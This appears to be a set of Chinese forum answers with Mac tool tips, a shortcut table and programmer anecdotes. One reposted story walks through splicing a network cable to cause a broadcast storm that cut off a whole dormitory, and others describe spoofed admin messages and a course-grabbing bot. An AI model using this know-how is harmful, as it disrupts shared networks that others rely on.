    7. Sip 屏幕取色,方便快捷,支持各种格式,6块钱,App Store 有售。
    8. Screeny 录屏软件,好用,我用它录了很多软件操作视频,98块钱,App Store。

    1.safari浏览器里浏览标签页设个好用的快捷键,每次浏览多个网页时候划来划去多潇洒。
    2.MissionControl里面的建立新桌面很好用。
    另外就是MAC自带的grapher软件很牛掰有木有,感觉画方程的图比matlab还给力啊

    另外就是前面有人说的一个取色软件,mac自带的数码侧色计也很好用。

    再推荐个小东西,叫break wall,没它之前每次用gae上墙外都要终端敲命令然后设置里面改代理,有了之后可方便了。
    还有rowmote远程控制,用手机端控制MAC,简直就是为MAC打造的,靠在椅子上划着装口袋里的手机屏幕来翻页看PPT绝对很优雅。
    发布于 2013-11-27 11 条评论 感谢 分享 收藏 • 没有帮助 • 举报 • 作者保留权利

    0
    赞同反对,不会显示你的姓名
    匿名用户
    全屏 Emacs.
    发布于 2016-04-09 添加评论 感谢 分享 收藏 • 没有帮助 • 举报 • 作者保留权利
    fullsail 十多年的码农。
    3 人赞同
    范围
    快捷键
    说明
    图形
    (Command 键)在某些 Apple 键盘上,此键也可能为标志()
    Control
    (Control 键)
    Alt Option
    (Option 键)-"Alt"可能也出现在此键上
    Shift
    (Shift 键)
    (Caps Lock 键)- 切换 Caps Lock 开或关
    fn
    (功能键)
    窗口
    +Tab
    切换应用软件 – 向前循环显示,选择窗口,按Alt 松开恢复最小化窗口
    窗口
    +Shift+Tab
    切换应用软件 – 向后循环显示
    ++Tab
    窗口

    在应用程序内切换窗口 ·为~键
    窗口
    +H
    隐藏当前窗口
    窗口
    + Alt +H
    隐藏所有窗口
    ++H
    窗口
    +M
    将活跃窗口最小化至 Dock
    窗口
    + Alt +M
    将活跃应用软件的所有窗口最小化至 Dock
    ++M
    窗口
    + Control+F
    全屏/退出全屏模式
    + +F
    窗口
    +W
    关闭窗口
    程序
    +Q
    退出程序
    程序
    + Option +ESC
    弹出选择面板,选择一个程序强制退出
    ++ESC
    程序
    +Option+Shift+Esc
    强制退出最前面的程序
    +++ESC
    程序
    +Option+D
    显示/隐藏Dock
    通用
    +O
    打开
    通用
    +S
    保存
    通用
    +Shift+S
    另保为
    ++S
    通用
    +P
    打印
    通用
    +T
    新增一个页签
    通用
    +F
    搜索,Finder定位到搜索框,
    通用
    +A
    全选,Finder全选所有文件,其他程序工具里可能是全选所有文本
    通用
    +Option +A
    取消全选(ESC没用),
    ++A
    通用
    +N
    新建窗口,Finder新建窗口,其他程序里面可能新建文件等
    通用
    +Z
    还原,回退上一步的操作
    通用
    +Shift+Z
    重做上一步的操作
    ++Z
    通用
    +C
    Finder拷贝文件,或者在其他程序里面拷贝文本,图片内容。
    通用
    +V
    Finder粘贴文件
    通用
    + Option +V
    (旧)在其他程序里面粘贴文本,同时删除原来的位置的文本,(保留样式)
    + +V
    通用
    + Option +Shift+V
    (旧)将周围文本的样式应用于所插入对象(粘贴并匹配样式)
    +++V
    通用
    +X
    剪切
    通用
    Control+K
    剪切,Mac的部分程序支持这个
    +K
    通用
    Control+Y
    拷贝,Mac的部分程序支持这个
    +Y
    通用
    fn+Delete
    向前删除(Backspace)
    通用
    TAB
    在窗口的的控件中跳转,从一个控件跳到另一个控件
    通用
    Shift+TAB
    在窗口的的控件中反向跳转
    +TAB
    通用
    Control+Tab
    聚焦对话框中的下一组控件或聚焦下一个表格,TAB控件页面的切换
    +TAB
    通用
    Control+Shift+Tab
    反向聚焦对话框中的下一组控件或聚焦下一个表格
    ++TAB
    Finder,
    +Del
    Finder,将文件放入回收站
    Finder,
    + Shift+Del
    Finder,桌面,清空回收站不显示确认对话框
    Finder
    Space
    Finder,空格,对选择的文件进行快速查看
    Finder
    +I
    Finder,显示简介
    Finder
    +1
    Finder,以图标显示
    Finder
    +2
    Finder,以列表方式显示
    Finder
    +3
    Finder,以分栏方式显示
    Finder
    +4
    Finder,以 Cover Flow 方式显示(Mac OS X v10.5 或更高版本)
    Finder
    +, 逗号
    Finder,打开Finder的偏好设置
    Finder
    +J
    Finder,调出"显示"选项
    Finder
    +K
    Finder,连接服务器
    Finder
    +L
    Finder,为选择项制作替身,替身就是快捷方式。
    Finder
    +R
    Finder,宣示替身的原身,
    Finder
    +N
    Finder,重新打开一个Finder窗口
    Finder
    +[ 或者 +](中括号)
    Finder,在多个Finder窗口中向前切换或者向后切换
    Finder
    +Shift+N
    Finder,新建文件夹
    ++N
    Finder
    +Option +N
    Finder,新建智能文件夹
    ++N
    Finder
    +O
    Finder,打开选择的文件。
    Finder
    +Shift+D
    Finder,打开桌面
    ++D
    Finder
    +Shift+L
    Finder,打开下载
    ++L
    Finder
    +Shift+H
    Finder,打开个人
    ++H
    Finder
    +Shift+A
    Finder,打开应用程序
    ++A
    Finder
    +Shift+U
    Finder,打开使用工具
    ++U
    Finder
    +Shift+Q
    Finder,注销当前登录的用户,会询问你
    ++Q
    Finder
    +Shift+ Option +Q
    Finder,立即注销当前登录的用户
    +++Q
    Finder
    + Shift+G
    Finder,前往
    ++G
    Finder
    + Option+T
    Finder,显示或隐藏工具栏
    ++T
    Finder
    + ↑ +↓
    Finder,进入上一层文件夹或者进入当前选择的文件夹
    Finder
    拖移时+
    Finder,将拖移的项移到其他宗卷/位置(按住按键时指针图标发生变化)
    Finder
    拖移时+Option 键
    Finder,拷贝拖移的项(按住按键时指针图标发生变化)
    拖+
    Finder
    拖移时+Option+键
    Finder,为拖移的项制作替身(按住按键时指针图标发生变化)
    拖++
    Safari等
    +F
    Safari 等让你输入内容,在页面内容查询搜索
    Safari等
    +E
    Safari 等,根据你选择的内容文本搜索
    Safari等
    +G
    Safari 等,查找所选内容出现的下一个位置
    Safari等
    + Shft+G
    Safari 等,查找所选内容出现的上一个位置
    Safari等
    +J
    Safari 等,滚动到选中的区域
    Safari等
    +Option+F
    Safari 网络搜索引擎查询
    ++F
    Safari等
    +T
    Safari 打开一个标签
    Safari等
    +R
    Safari 刷新当前的页面
    Safari等
    +L
    Safari 定位到地址栏目
    Safari等
    +D
    Safari 收藏当前页签
    Safari等
    + "+" 加号
    Safari ,Firefox放大
    Safari等
    + "-" 加号
    Safari ,Firefox缩小
    Safari等
    +↑上键/↓下键
    Safari 等,到页面的最上段或者最下端
    系统
    +Shft+3
    截取整个屏幕保存为文件到桌面
    ++3
    系统
    +Shft+Control+3
    截取整个屏幕保存到剪贴板
    +++3
    系统
    +Shft+4
    截取区域保存为图片文件到桌面
    ++4
    系统
    +Shft+ Control +4
    截取区域保存到剪贴板
    +++4
    系统
    +Shft+4+Space
    截取某个窗口保存为图片文件到桌面
    ++4+Space
    系统
    Option + Shift + F11/F12
    微调声音
    ++F11/F12
    系统
    +Shft+Y
    将选取的文本保存便签
    ++Y
    系统
    Option + Space 空格
    显示或隐藏 Spotlight 搜索栏
    + Space
    系统
    +Space空格
    输入法切换
    系统
    轻短按Power
    休眠
    系统
    2-3秒长按Power
    出现对话框提示选择休眠,重启,关机
    系统
    10秒长按Power
    强制关机
    系统
    +Control+ Option +Power
    关机
    +++Power
    文本
    +→左键/←右键 ↑上键/↓下键
    将光标移动到行首,行尾,文件顶端,文件的尾端
    文本
    + "+" +"-" 加号,减号
    放大(缩小)选择的文本的字体
    文本
    +Shift+{ 或者 } 或者|
    左对齐或者右对齐选择的文本,或者居中对齐
    ++{
    文本
    +[ 或者 ]
    左缩进或者右缩进
    文本
    Shift+ +→ 或者 ←
    选择文本扩展到行首或者行尾
    ++→
    文本
    Shift+ Option +→或者←
    选择文本扩展词首或者词尾,(中文好像也可以)
    ++→
    文本
    Shift+ ↑上键/↓下键
    选择文本扩展上一行或者下一行
    文本
    Shift+ + ↑上键/↓下键
    选择文本扩展到文本的头部或者尾部。
    ++↑
    文本
    +B 或者 +U
    选择文本加粗,加下划线
    文本
    + Shift +C
    选择文本设置颜色,
    ++C
    我自己把这个表格整理成了2页,打印在一张纸片上,方便记忆。

  9. 先买个支架
    架个显示器
    不分屏的程序员不是好程序员
    左屏放github右屏照着抄
    支架高对劲椎好,相信我
    1我不用插件,所以左边那屏对我没有意义,
    2我不用iMessage,太多垃圾短信。以及不能和安卓沟通。所以iMessage 的新东西没啥感觉。
    3没有3d touch,所以升级后会更别扭。

    说个冷门的但是很有用的
    sindresorhus/quick-look-plugins
    增强空格键直接预览功能, 比如可以直接看源代码

    直接看一些没有格式的文件

    直接看 markdown

    查看压缩文件信息

    学会充电线的正确绕法
    不在键盘上铺保护膜
    不装windows
    不关机,只合上屏幕休眠
    不必要不关窗口,让它们自然陈列
    不必要窗口不最大化
    在App Store上买需要的软件
    偏好Safari
    用原生墙纸
    dock放在屏幕底部
    不在机器旁放杂物,但可以放几片纸,一支铅笔
    用大桌子,配一个暖光台灯
    不用非apple的外置键盘,尤其是机械键盘
    不带mac到书店去上网
    咖啡馆里不把屏幕对着别人,而要把苹果Logo对准人们不注意的方向
    keyboard backlight要恰到好处,一般不调到最亮
    用压缩空气定期洗灰尘
    为毛乃萌的电脑这么麻烦?
    我的电脑:
    第一种方案:
    装Arch,然后随便玩

    第二种方案:
    装个homebrew然后装个tmux,开个terminal然后开全屏
    装个steam下个dota2
    装个网易云音乐
    把vim换成7.4的,然后装YouCompleteMe
    用了半年多了,把几个自己一直在用觉得蛮值得推荐的软件推荐一下吧。

    1.Blotter 可以把你reminder calendar里的备忘或者计划在桌示出来。

    2.Dropbox
    自从被微云网盘坑了一次以后有点怕就不太敢用了(本地更新远程没更新结果一登录把本地文件给重叠了)Dropbox云盘还是蛮好用的,UI也还不错,但可能会需要fanQiang。

    3.Alfred
    类似spotlight的productivity类软件,真的好用。目前切校网和v*p*n都是瞬间切换有木有。但有的脚本要自己写或者自己去网上找(所以好想抽出时间学点AppleScript)。

    4.Skitch
    哇哦,UI很赞欸,而且确实蛮有用的。有几次同学来学校玩,我就是用这款软件在map上标示路线,直观而且美观。

    5.NeteaseMusic
    上个学期才脱了qqMusic开始用NeteaseMusic,因为UI真的很赞啊~! 而且功能都很齐全。

    大学的时候,系里的机子都是win 2k。

    晚上赶项目,我和一个哥们在楼下的平房里折腾数据,到了九点多,没什么进展,就出来看看,对面系楼一片漆黑,就一间屋亮着。

    哥们说,他室友“朱XX”在那个屋,可能在看黄网呢。

    咱们郁闷,他却爽,这不好,本着维护正义,净化网络环境的宗旨,我们决定挺身而出。

    那时的 windows 有个 net send 命令,可以在对方机器显示个对话框,类似这样,

    我们把自己的电脑名称改为 “网络中心”,给三楼的机器发了个消息,

    从 “网络中心” 到 “XXXX” 的消息:

    “朱XX同学,我们检测到你正在浏览不健康网站,已记录在案,将通知系办处理。”

    很快,楼上的灯就熄了,一个人影从楼里匆匆出来,消失在夜色里。

    回到寝室,朱同学正坐在床沿上吸烟,一脸凝重,好像有心事的样子。良久,说了一句,

    “他们是怎么知道我名字的?”
    很多年前吧,给企业用户做windows server的技术支持,是24×7的,客户的服务器如果出问题比如当机了是可以随时打电话给我们的,我们称之为severity A,代表最高级别响应。

    那天我轮班,但是又有人找我踢球,我就开开心心地去踢了。踢到一半电话响了,我当时就想完了这球踢不成了。有个客户说他重启了下服务器现在每次启动就蓝屏进不了系统了。服务器恢复不了他就要跪了。

    后来我就对小伙伴说我先去守一会儿门,一边守门一边接客户电话。了解了下蓝屏代码是0x7b,恩这个算容易的,这个直接原因是系统进入kernel后读不出启动盘,一般就是硬盘的驱动无法正确加载。

    然后就叫客户把系统注册表文件copy到另一台机器上用regedit打开,再把和硬盘设备驱动相关的条目一条条读给我听,我默记在心里然后人脑运行找碴程序,最后发现有一个filter driver的配置项不完整,在某处申明了要挂在硬盘设备上但自己的device没有配。这种一般是这个驱动的安装程序有bug造成的。

    找到问题后指导客户把不完整的驱动设备信息删掉。因为这个驱动是某磁盘备份软件加装的,所以去掉也没什么关系。然后把修改后的注册表文件放回服务器结果就好了。

    客户表示万分感谢,可是我一直没敢告诉他我还同时在守门啊,并且没丢球啊。后来还有感谢信呢。

    之前只放了原文链接,忘记声明转载了,现在补上。
    文章转载自博客园,作者是EtherDream,他的博客里还有很多其他有意思的文章!
    谢谢大家的赞,这是我前(搬)进(砖)的动力!
    =
    刚上大学没多久,就遇到件头疼事。
    富二代们刚来就带着笔记本电脑,这让咱们只能玩手机的屌丝辈们羡慕嫉妒恨。要命的事来了,晚上断电不断网,于是熄灯后笔记本仍然可以玩。
    不巧的是,我们寝室也有个。常常熄灯后,非得把电池用干净才罢休。边游戏边语音,还放着音乐,备受煎熬。虽经劝说有所好改,但过不了几天又会复原。

    为了迫切改变这个状况,但又不想和新认识的同学扯,于是决定用技术方案解决。
    可当时的家当只有一部诺基亚滑盖手机,没有装备一切都是空谈。唯一可行的,只有偷偷在他电脑里设置个计划任务,晚上自动关机。但那样万一发现了更不好,根本没有技术含量。
    无奈,只能把目光转移到电脑之外,网络上。如果不能上网,就算电脑能用,也不至于熬夜玩单机游戏吧。
    既然刚来时他的网线插口就能用,想必我这儿的也有信号。上一届的肯定都开通过,总不至于走了以后还封掉。趁着有天寝室没人,我把那笔记本的网线拖到我这边一试,果然有信号!顿时来了精神,感觉有希望了!
    也许你会说,总不可能把网线连到诺基亚上,然后用什么恶搞软件吧~ 当然不可能,那时的手机哪有这么先进。
    事实上,我们不用任何软!件!,甚至可以不用硬!件! —— 除了一根网线之外。
    要说如何玩转网线,还能从之前安装机顶盒的那天说起。
    曾有段时间,很多城市开始流行起数字电视。我们这也不例外,挨家挨户的赠送机顶盒,还免费上门安装。华数电视本来就和网通是一家,数字电视当然就是共享网通的宽带了。
    由于之前已开通了网通,这次又要给机顶盒连网,我想至少得送个交换机才行吧。然而,安装的师傅一进来,既没掏出交换机、甚至连集线器也没有,反而一剪刀把网线给割了!
    当时就惊呆了,这究竟是搞哪门子鬼。尽管那时对网络链路协议玩的挺嗨的,但物理层上的却是一窍不通。那师傅不慌不忙的说,网线只要四个就够了,还有些就是备用的。于是从之前的线里,拆了四根给机顶盒。
    这大出之前所料,居然没用任何设备就把机顶盒接上了!于是,又开始异想天开了。。。

    这分出来的两股,在交换机来看是不是两个独立用户?如果把他们接在一起,效果和一线插两口相同吗?能一样短路局域网吗?
    怀着兴奋的心情一测,果然可以!真把整个小区的网络搞挂了!

    在恢复之后很长段时间里,一直拨不上号。在嗅探器里发现好多邻居们的也在不断的拨号。显然,刚刚那接通两个 4 股线,把外部的 STP 包也转发了,导致小区网络被外部隔离了。
    这一天,改变了之前的看法。原来只需一根网线,就可以来一次 VLAN 风暴!
    为什么一根网线插交换机的两个口会产生风暴?因为交换机会把发往广播地址的包,转发到所有接口上。如果有两个接口回路了,一旦出现广播包,就会彼此不断循环发送,耗尽整个设备的带宽。别小看交换机,它天生就是为发包设计的,风暴能把每个接口都占满,打出背板带宽的流量。STP 协议就是为了解决这个问题,进行回路检测。
    尽管了解了这个新技能,但物理层的知识基本派不上用场,也就淡忘了 —— 直到发现寝室座位下有信号的那天。
    根据回忆,寝室之间还打过局域网游戏,显然这不是独立的网段,于是更加信心满满了!
    立即找来一根网线,减掉一边的水晶头,刮掉外皮,然后把对应的四股两两粘上。果然,附近的寝室开始传来 —— 不,先是寂静了几秒,接着陆续传来的尖叫声,吼声。“卡了!”,“谁掉了?“,什么情况?”,“靠,断网了~~~”。。。
    跑出走廊一看,整栋楼都暴动了!原来这寝室楼根本就没划 VLAN,所有几百号寝室都是连在一起的!!!
    这时既兴奋又担心。兴奋的是,以后有了电脑可以抓上千人的流量了。担心的是,现在只想恶搞自己寝室,不想牵扯所有人。
    不管怎样,行动还是继续。熄灯后本该休息,断了所有的也没什么不好。
    这时技术上已无大碍,就差实施了。如何从容而又隐蔽的操作呢?
    为了不暴露没电脑还插着根网线那么荒唐,于是尽量沿着有遮挡的柜子布线,从衣柜后一直拖到床铺。剩下的水平部分就埋在床边的缝隙里,并用席子盖着。
    整个布局不凑近仔细看,根本发现不了~

    当晚熄灯后,夜猫子们又开始蠢蠢欲动了,我也迫不及待的开始试验。和其他几个同学一样,假装在玩手机,实际已开始悄悄的接线,颇有地下情报员的感觉。

    当搭上最后一股时,流畅的游戏声立即出现了卡顿。毕竟整栋楼都在这个 LAN 里,广播包的数量是相当多的。
    只听得游戏剩背景音乐,却没有音效了!
    想着 100Mbps 的流量从手中捏着的网线穿过,仿佛看见密密麻麻的 ARP、NetBIOS 广播在黑暗中闪过 —— 还有那少得可怜的、被挤掉的游戏数据包。

    下午的骚动又一次爆发了。尽管熄灯后少得多,但在夜晚的环境里,显然越发清晰。
    被断开的大多不甘心,还想继续玩。这一次,不打算这么暴力了,万一触发了回路检测,说不定整楼就被封了。
    于是,改成搭上几秒,断开。再搭上、断开。。。游戏虽能运行,但不断陷于卡顿之中。没多久,传来一阵阵温馨的关机声,纷纷洗洗睡了。
    首战告捷!终于睡了个好觉。

    改良 v1
    刚开始的几天里,效果非常理想,大家都乖乖的提前睡觉了。
    不过没多久他们就发现,网络过会就会恢复的。原因很简单,哥睡着前就把线放开了,于是他们又开始了疯狂。
    在迷迷糊糊睡梦中,要把网线重新搭上会困难的多。经常把不相干的也缠在了一起,结果就没效果了。
    于是,需要一次用户体验上的改进。
    事实上,其中三股线都是事先粘好的,实际就控制一股而已。不如把那三股都提前隐藏起来,只留一股在身旁,这样就不会搭错了。
    换了根网线重新制作。这次,直接把其中 3 股用胶布粘好,藏在衣柜后面,只留一股拖上来。线路也细了不少。

    这样,就和电路开关一样了。总共就两根线,搭上或分开就行。
    即使在睡梦中,也只需动动手指,就能轻松自如的控制整楼的网络了!

    改良 v2
    不过这么简陋的设备,总会有操作失误的时候。
    在一个周末的半夜,被通宵的吵醒后,狠狠的搭上了网线,然后继续睡。没想到这一次太困,直接沉睡了过去。直到早上 10 点多,才被敲门声惊醒。
    原以为是隔壁同学,但敲门不断,打开后发现进来一个背着工具包的大叔。这时,才猛然意识到,搭着的网线忘了断开了!!!整整断了一晚,都查上门来了!

    这时也来不及收拾了,心想这回终于要露陷了。不过那师傅一眼扫去,发现我们桌子上都是干干净净的,啥也没有。唯独敞着个笔记本,而且还没关机。于是上前拔掉了网线,然后走了。
    侥幸躲过了这一劫,迫切需要改进了。
    如果能睡前开启,睡着后自动关闭,那就十分理想了。再也不用睡梦中用意念去断开了。
    于是打算做一个有弹性的开关,必须按着才会开启,松开就关闭。这样睡着后身体放松就自动断开了。

    经过一番改进,把开关做得无比隐蔽:把两根线塞到一个袜子里,里面塞了棉布等等有弹性的东西。正常情况线路是分开的,但轻轻往下压就会搭住,放开后又恢复正常。
    不过袜子捏手里也怪怪的,于是就藏到脚后头。至此,每当夜晚吵闹时,只要脚趾头稍稍踮一下,周围的气氛就立即变得格外安静。
    到此,总共花了两块钱打造的装备,能让脚趾来控制上千人的网络状态,简直太有成就感了:)

    没多久,大家似乎发现了规律,只要声音太响网就会卡,但无奈又找不到原因。于是都变得乖乖的安静上网了。(每次回想起就特别搞笑)
    当然,这装置只投入使用了半年。第二个学期大家都装了电脑,于是一起愉快的通宵上网了。

    用mac一年多,已经深深爱上她了.她得一切都显得优雅,显得动人.作为程序员,我觉得我应该做到了优雅的用她.

    写代码,如果是脚本,那就是sublime text 2,如果是mac相关,那就xcode,很多人推荐vim,我也喜欢他,可是我觉得终端里面自带的太难用了.如果要用,可以用macvim.sublime和xcode都可以支持vim模式.sublime是直接去配置文件里面改设置.而xcode是安装一个插件就可以搞定.[JugglerShu/XVim · GitHub]
    终端呢.推荐iterm2+zsh.很好用.当然我不喜欢写zsh脚本.系统管理,可以使用ruby或者python.shell那坑爹的语法和各种历史遗留问题没有钻研的必要

    只要不是windows那些东西,mac都可以优雅的开发.无论是web,或者是移动.即便是做安卓,那也没有任何问题.android studio,intelJ,eclipse都完美支持mac.
    Dash是一款神器,50元买了把.并且自带的snippets也很好用.省去了text expander的钱.
    浏览器.随便哪款都可以.感谢mac优美的UI,他们都很优秀.甩windows几条大街不成问题.
    娱乐呢.听音乐当然是itunes,看电影,我觉得mplayerX这款软件已经足够优秀.
    Qvod有mac版.我想大家都懂.现在就看百度影音了.
    效率上,我很喜欢两个软件,一个是alfred.这个不多说了.还有一个是apptivate.一个快速聚焦软件.alfred太贵了.其实我觉得workflow不玩也行.而apptivate则是完完全全的免费产品.
    工作方面呢.写文稿.如果是简单的.推荐用PDF吧.如果要求复杂格式排版的,自己用不交流,pages绝对好用.如果要传给别人,那只好office.做演示的话,keynote很简单也很优秀.现在也比较流行用浏览器来做.有很多在线网站,比如http://slid.es,或者可以利用impress.js自己来做吧
    写写博文的话,Mou非常不错,很精致,很简约.而且,free.写好的文章也可以导成PDF传给他人.我现在交作业用的都是PDF.
    作图的话呢,软件很多,ps很大很强.还有一款小巧玲珑的,sketch.
    虚拟机还是很有必要的.花点钱买个PD.windows从此不再是问题.想玩系统也方便.
    看电子书的话,PDF就用preview就行了.很好用.其他的,iBook来搞定.
    系统自带的取色器很难用.推荐用HOVT把.free.

    计算机毕竟只是单纯工具,暂时没有以后也很难上升到与茶具、餐具这样有格调的工具范畴。
    尤其对于程序员把计算机当做赚钱工具来用,更加与优雅无关,是与榔头锤子同一等级的物件。
    程序员的mac本装还着osx唯一的理由大概是要开发obj-c的app,改装win的唯一理由估计是为了VS。
    至于osx那些“优雅”的app,与编程工作有关的,装上,无关的,装了干嘛?
    况且现在逼格最高的一群程序员都是用GNU/Linux系统。为开源世界做出重大贡献是真正的逼格Up。

    平常我开发基本就两个软件:iterm(oh-my-zsh)和macvim。上面也介绍的非常多,我就不多介绍了,当然是强烈推荐安装。我这里就重点推荐一下上面大家说的不太多的几个软件(开发使用到的):

    1. tmux

    如果你需要经常和命令行交互,并且是和多个不同环境,工程,配置下的命令行进行交互的话,就一定要学习一下这个工具。

    tmux是一个分屏管理软件,有些类似于vim中的split/vsplit/tab/session机制,最主要的是,你可以通过纯文本配置文件的方式定义所有操作的快捷键,并且可以保存所有的屏幕布局,环境等(session)。这样子即使机器重启,你也可以一键恢复之前所有配置好的命令行布局,环境,是不是很nice。

    比如下图,最下面显示的是多个window(类似vim的tab),每一个window里面可以进行各种split,然后还可按照工作用途进行session管理(图中没有显示出来)。

    定义各种快捷键之后,所有操作都可完全用键盘。

    另外,tmux还和item和vim可以完美结合。

    item中自带一种模式就是tmux模式,折腾了一下,发现并不是很好用,还是转而使用原生的tmux。而且我经常需要ssh到linux系统下开发,所以只学习并使用tmux显得更加通用些,而将iterm更多的作为一个GUI的壳来使用。

    iterm中使用tmux有一个非常好的方式就是定义hex code,这样我可以定义cmd+j来映射到tmux中的prefix+j的方式来完成分屏的切换,这和我在vim中切换split窗口的方式非常相近,使用起来很舒服。具体可以我的一个博文mac 折腾记录。

    vim和tmux结合就是通过插件,我用的主要是:

    1. GitHub – benmills/vimux: vim plugin to interact with tux

    在vim中直接调用tmux执行命令。可以做到只在vim中不要切换到iterm,然后执行命令看结果。双屏下使用macvim和iterm谁用谁知道。

    2. GitHub – christoomey/vim-tmux-navigator: Seamless navigation between tmux panes and vim splits

    tmux和vim的无缝切换pane。

    2. hammerspoon

    mac上窗口管理的神器。但其功能远远不局限于窗口管理,因为其原理是一个使用lua语言对系统API进行wrapper的解释器。所有功能都可通过lua代码进行配置,当然也可以用代码组合出非常好用的功能。

    大致有下面几个特色(我折腾的还比较有限,参考博文:Hammerspoon, OS X 上的全能窗口管理器):

    configurable.
    hint.
    hotkey.
    undo.
    split window mode。(神一样的功能,就是在当前窗口中进行split,然后调整是哪两个窗口进行split,还可以调整split窗口的大小。谁用谁知道。)

    其中hint功能类似于vim的easy motion插件,调用之后可以快速定位到一个具体的窗口,比如下面的截图:
    以前我一直用win进行开发,后来工作之后买了个mac,现在使用了约一年半,基本上也已经变成mac粉,强烈安利所有从事技术开发的童鞋都早日迁移到mac下进行开发。

    推荐mac作为开发环境的理由大概有:

    1. osx系统。基于*nix内核,大多数的安装开发程序和搭建开发环境的工作都可通过命令行来完成,并使用配置文件进行管理。珍爱生命,远离win下的各种对话框和注册表。
    2. 优秀的屏幕渲染和操作体验,触摸手势很nice。
    3. 工程师文化。工程师越喜欢用,越会有人在该平台下开发更好用的工具。
    4. 各种好用的开发app,同3.
    5. 几乎不死机。
    6. 装逼。

  10. 某日女神找帮忙改一个文件夹的文件名变成指定格式,于是python写了个脚本。从开始写到改完文件名大概也就五分钟不到。

    某天,帮学长学姐抢毕业设计课题,python写了个自动提交post,并且通过整么表达式匹配返回网页,判断是否成功。然后写了一个优先级的队列,每0.1秒循环去抢,基本上就是他们想要什么就抢得到什么。

    上学期帮一个老师录入成绩,学校教务系统不能导入Excel,不想手动输入,然后就按了F12编辑表单区域,用sublime加正则表达式手写input,然后粘贴进网页,提交。

    今天一个朋友来找帮忙root,在星巴克,她买一杯咖啡的时间,root完成,被以一种不可思议的眼神看着。

    懒癌晚期,在寝室不想下床关灯,遂用树莓派加webiopi,gpio控制继电器做了个灯,风扇的控制每次都用手机控制关

    教务系统没有手机版,且经常出问题要清cookie,于是python写了个爬虫,做了个公众号,绑定学号以后可以微信查分

    负责椒Club的报名,PHP写了个报名网站,收到所有报名后写了个用stmp自动发邮件的程序群发邮件

    cmd里面不想一点点输入冗长的文件路径?
    直接把这个文件拖到CMD窗口吧!
    你会发现 路径自己补上去了。
    有空格的还会自动加引号哟。
    你会修电脑么?
    你买电脑打折么?
    你会破解 QQ 密码么?
    你能帮我人肉对方信息么?
    你可以免费帮我做网站么?
    你能把我的 Windows 变成正版么?
    你能帮我代打到钻石段位么?

    树莓派GPIO接了个继电器控制台灯,在树莓派上架了个微信公众号用ngrok映射到外网。然后就可以对着微信说:开灯、关灯,控制台灯开关。把树莓派台灯放在实验室,在外面有时候一高兴就打开微信,开灯关灯。。。带妹子去实验室显摆过,妹子表示十分新奇好玩,然而程序员同学们并没有感到好奇,第一反应确是把我台灯的电源拔了:-(

    最近准备在路由上做点手脚,等我的手机连上wifi就发信息给树莓派打开台灯,断开就关掉。这样只要我一到或者离开实验室就可以自动开关灯了哈哈
    当年帮小伙伴装windows98的时候,直接默写 QY7TT-VJ7VG-7QPHY-QXHD3-B838Q(这句刚刚也是默写),算不算。

    那个时候系统都是带dos的,在小朋友面前耍cls、dir、format,还带参数,简直吊得不行。
    ————————————————————
    不知从什么时候开始,都不再开始->程序->附件之类,直接win+r然后calc、mspaint、mstsc、regedit…了

    同学, 不用win+r,直接win按下去就可以输入那些命令了,还是模糊匹配的
    Windows搜索的前世今生?:老版本的Windws一直没尝试过“开始”里的搜索,就是按了开始之后最下面的一个不起眼的搜索框。Win8之后东西不好找了,经常用win+Q开那个搜索,整个电脑的程序都可以模糊匹配。前些天试过一段时间Win10,这个搜索已经被Cortana承包了。
    ————————————————————
    讲座的时候。老师:“这个图有点小,能全屏不”,我:“试试F11?”
    ————————————————————
    拆开鼠标,用刀尖扣掉按钮,把铜片反向弯折一下,装回去,“单击变双击”的问题好了。
    ————————————————————
    ipconfig,ifconfig。不过很多人可能不知道ipconfig /all
    ————————————————————
    本想说2147483647的,没想到上面2^64都出来了。
    ————————————————————
    某老师登分表丢了,要统计年级几百号需要登分的学生信息,说要找个志愿者帮帮忙,收邮件统计成excel。实在看不下去,php写了个简单页面,数据库四五个字段的一张表,还加了一个字段供吐槽。开着花生壳两天统完了,复制<table>到excel,然后被老师同学们惊为天人……
    ————————————————————
    学校老机房的老电脑打不开了,听提示信息很熟悉的感觉,就说:试试把bios电池扣了过一会儿再装上。。。
    ————————————————————
    当推荐人用Win7的时候,保守派说Win7有啥好的,还是XP用着舒服,熟悉。实在不知道怎么解释。
    于是“你看,拖着这个窗口碰到右边缘”~唰~“拖着这个窗口碰到左边缘”~唰~,“不错吧”。
    得到的回答却是 ”然而并没有什么卵用“……
    —补充—
    双屏体验不好,右屏的左边缘和左屏的右边缘没有作用。
    —再补充—
    双屏可以这样:
    张帆
    分屏没问题 按住win键再按左右箭头就可以了。话说自动分屏是我最喜欢的功能。

    Win10可以1/4屏了,而且一些情况下在触发1/4屏的时候会自适应已经触发过贴边又调整过大小的另一个窗口尺寸,宽度或高度贴合。
    ————————————————————
    0. “你在用什么系统?”——利益相关:Cinnamon用户。

    1. Windows双击窗口左上角关闭窗口。

    2. 18446744073709551616。

    3. “你的键盘怎么没有方向键?”+“这个是鼠标吗?”组合技。

    4. 教同学用MD5在聊天室里抽签、玩比大小。

    5. 大部分人看到我浏览器的第一反应是找地址栏。

    6. 上课,用自己组的U盘系统开机,用自己写的软件放Presentation。

    7. 你听说过<del>安利</del> Flappy 2048吗?

    高中時候給我們部門維護50多台機器,裝機的時候用ghost網絡分發,童鞋們看到一排整齊的ghost界面覺得好神奇。。

    機器上都裝了冰點還原,童鞋們一直以為那是還原卡,真的有張卡在主機裡面,後來聽我解釋后覺得好神奇。。

    我們的中央主機是一臺 Linux,同學發現exe文件在上面打不開,玩不了LOL覺得好神奇。。

    看到我們在那臺 Linux 上按一下 Ctrl-Alt-F2 就跑到一個黑黑的界面覺得好神奇。。

    隔壁在用 QQ 的時候這邊在命令行下打開個 IRC 就覺得好神奇。。

    那時候學校還給我們社團買了台服務器,我們順便在上面搭建了連接我外部vps的shadowsocks代理,給我們50多台機器都做了翻墻設置,同學們覺得能上Facebook好神奇。。

    我順便配置了一個綠色版的Chrome,放到學校內網上給老師們用,老師紛紛表示外面的世界好神奇。。

    那時候剛學網絡編程,跟一同學以you-get為下載引擎寫了一個前端,支持包括youtube在內的國內外視頻離線下載,校內的任何人只要把網址丟進去,過一會回來就能把視頻存到本地了。同學老師都紛紛表示好神奇。。

